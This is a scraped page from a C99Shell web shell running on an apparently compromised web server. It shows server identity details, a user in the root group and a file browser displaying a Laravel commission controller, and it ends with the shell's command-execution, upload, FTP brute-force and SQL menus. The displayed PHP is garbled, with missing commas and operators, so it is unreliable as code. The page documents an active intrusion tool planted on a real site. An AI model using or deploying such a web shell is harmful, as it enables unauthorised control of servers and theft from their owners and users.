!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Commission/Http/Controllers/   drwxr-xr-x
Free 26.31 GB of 117.98 GB (22.3%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CommissionController.php (1.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Commission\Http\Controllers;

use 
App\Models\OrderStatus;
use 
Illuminate\Http\Request;
use 
App\Http\Controllers\Controller;
use 
Modules\Commission\Http\Models\Commission;

class 
CommissionController extends Controller
{
    
/**
     * commission view
     *
     * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View
     */
    
public function index()
    {
        
$data['list_menu'] = 'commission';
        
$data['commission'] = Commission::getAll()->first();
        
$data['orderStatuses'] = OrderStatus::getAll()->where('is_default''!='1)->sortBy('order_by');
        return 
view('commission::index'$data);
    }

    
/**
     * commission store or update
     *
     * @param Request $request
     * @return \Illuminate\Http\RedirectResponse
     */
    
public function store(Request $request)
    {
        
$validator Commission::storeOrUpdateValidation($request->all());
        if (
$validator->fails()) {
            return 
back()->withErrors($validator)->withInput();
        }
        
$request['is_active'] = isset($request->is_commission_active) && $request->is_commission_active == 'on' 0;
        
$request['is_category_based'] = isset($request->is_category_based) && $request->is_category_based == 'on' 0;
         if ((new 
Commission)->storeOrUpdate($request->only('amount''is_active''is_category_based''order_status_id'))) {
             
$data $this->messageArray(__('The :x has been successfully saved.', ['x' => __('Commission')]), 'success');
         } else {
             
$data $this->messageArray(__('Something went wrong, please try again.'), 'fail');
         }
        
$this->setSessionValue($data);
        return 
redirect()->route('commission.index');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--